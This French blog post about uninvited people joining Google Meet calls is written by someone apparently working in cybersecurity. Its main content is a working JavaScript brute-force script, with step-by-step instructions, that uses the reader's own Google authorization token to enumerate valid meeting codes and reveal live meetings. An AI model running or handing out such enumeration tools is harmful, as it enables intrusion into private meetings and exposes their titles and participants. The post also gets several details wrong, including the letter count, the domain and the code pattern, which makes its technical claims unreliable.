{ Visio } – S’incruster dans des Google Meet
Bonjour à tous,
Travaillant actuellement dans le domaine de la cybersécurité, je suis régulièrement confronté à des situations assez triviales.
Dernière en date, l'intrusion d'une personne lors d'un meet ...
Heureusement, par sécurité, Google Meet a inclut une fonctionnalité permettant à la fois d'avertir les participants qu'une personne cherche à rejoindre la visioconférence, mais également de l'accepter ou la refuser.
Cependant cet événement m'amène à me poser un certain nombre de questions ...
Complexité du lien Google Meet
Tout d'abord, comment est-il possible pour une personne de se connecter sur un lien meet sans y avoir été invité ?
Il faut considéder la simplicité du lien : https://google.meet.com/xxx-yyyy-zzz
xxx-yyyy-zzz ne sont que des caractères alphabétiques compris entre a et z, soit 27 combinaisons possibles pour chaque caractère.
Pour les mathématiciens, il y a donc :
27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 combinaisons possibles ...
Durée de vie d'un lien Google Meet
Bien que nous soyons désormais en mesure de mieux comprendre comment sont construits les liens de nos visios conférence "Google Meet", il y a un aspect très important à prendre en compte ... la durée de vie d'un lien Google Meet !
En effet tout le monde peut générer des réunions Google Meet en quelques clics.
Mais après quelques jours, semaines ou mois ... les liens ne sont plus valides.
Les liens générés ont donc une certaine durée de validité ....
Exception faites des événements "récurrents", et c'est d'ailleurs là que ça devient intéressant.
En entreprise, il y a de nombreuses occasions pour organiser des visio-conférences régulièrement (point d'équipe / d'entreprise, journalier, hebdomadaire, mensuel, ....).
Lorsqu'un collaborateur génère ce type d'événement dans son agenda, automatiquement un lien google meet est généré. Celui-ci est invariable.
Ainsi vous aurez le même lien à chaque fois pour cet événement.
Avec un peu de Javascript et de Force Brute ?
Avec tout ces éléments, nous sommes désormais outillé pour balayer toutes les possibilités, et parvenir à l'aide d'une forte probabilités à détecter des liens vers des visio-conférence !
J'ai donc un peu rétro-ingéniéré le fonctionnement de Google Meet pour écrire un code javascript qui va tenter un nombre infini de combinaisons
/*(c) Dyrk.org 2023-2024 - Meet's Roulette(1) Run this script on https://google.meet.com(2) Find & Update authorization's variable with a valid authorization's token in yours Googles's "xhr requests" headers*/(function() {let authorization = "SAPISIDHASH xxxxxxxxxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxxxx", dico = "abcdefghijklmnopqrstuvwxyz",randomize = () => dico = dico.split('').map(value => ({ value, sort: Math.random() })).sort((a, b) => a.sort - b.sort).map(({ value }) => value).join(''),
newPatternKey = () => "xxx-xxxx-xxx".split('').map(c=>c=='-'?c:String.fromCharCode(Math.floor(Math.random()*25)+97)).join(''),
key = newPatternKey(), counter = 20;
next = () => key.split('').map(e=> e =='-' ? e : dico[ dico.indexOf(e) + 1 >= dico.length ? 0 : dico.indexOf(e) + 1 ]).join(''),
counter = 0;
meetLink = 'https://meet.google.com/', availableMeet = () => {
xhr = new XMLHttpRequest();
if (counter++ >= 20) {
counter = 0;
key = newPatternKey();
randomize();
}
key = next();
xhr.open('GET', meetLink + key);
xhr.addEventListener('load', (e) => {
fetch(meetLink.concat("/$rpc/google.rtc.meetings.v1.MeetingSpaceService/ResolveMeetingSpace"), {
"headers": {
"authorization": authorization,
"content-type": "application/x-protobuf",
"x-goog-api-key": e.target.response.match(/\["https\:\/\/meet\.google\.com\"\,"([A-Za-z0-9\_\-]{5,})"\]/)[1],
"x-goog-authuser": "0",
"x-goog-encode-response-if-executable": "base64",
"x-goog-meeting-identifier": btoa('\b\x02\x12\f'.concat(key)),
},
"body": "\n\f".concat(key, "0\u0001"),
"method": "POST"
}).then(e=>e.text())
.then(e=>{setTimeout(availableMeet, 100);
console.log(meetLink.concat(key).beautifyDisplay(38), (e.replace(/[^A-Za-z0-9 ]/g,"")+" ").beautifyDisplay(38));
});
});
xhr.send();
};
String.prototype.beautifyDisplay = function(size) { let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length > size ? txt.length : size)).substr(0, size).concat('|'); },
console.clear();
availableMeet();
})()
Pour faire fonctionner tout ça il faudra :
- Ouvrir la page https://meet.google.com
- Ouvrir la console développeur
- Dans l'onglet "Réseau", filtrer les requêtes fetch / xhr & récupérer un token d'"authorization"
- Copier-coller le code source ci-dessus et mettre à l'endroit indiqué le token.
- Valider avec la touche "Entrée" de votre clavier.
Récupération du token "Authorization" :
Pour les curieux, voilà à quoi devrait ressembler le résultat de ce script en action.
Nous constatons donc des lignes qui nous informe que l'espace de visio-conférence n'existe pas.
Et d'autre qui nous remontent le token de la conférence ! Indiquant par conséquent que le lien est valide ;)
N'espérez cependant pas tomber en quelques secondes sur un lien meet ^^
(Sauf si vous êtes un petit veinard)
Il vous faudra faire preuve d'une grande patience, en le laissant tourner au moins une bonne demi-heure.
Conclusion
Ne paniquez pas sur le fait qu'il existe un plus grand nombre de chance de trouver un lien Google Meet Valide que de gagner au loto.
Attention ! Une personne qui tombe sur un lien meet valide accède à certaines informations sans avoir besoin d'être connecté :
Le nom de la réunion (évitez donc d'y glisser des informations confidentielles), et les participants connectés (tout ou une partie).
Merci pour cet article, et bravo pour cette fonction JS plutôt impressionnante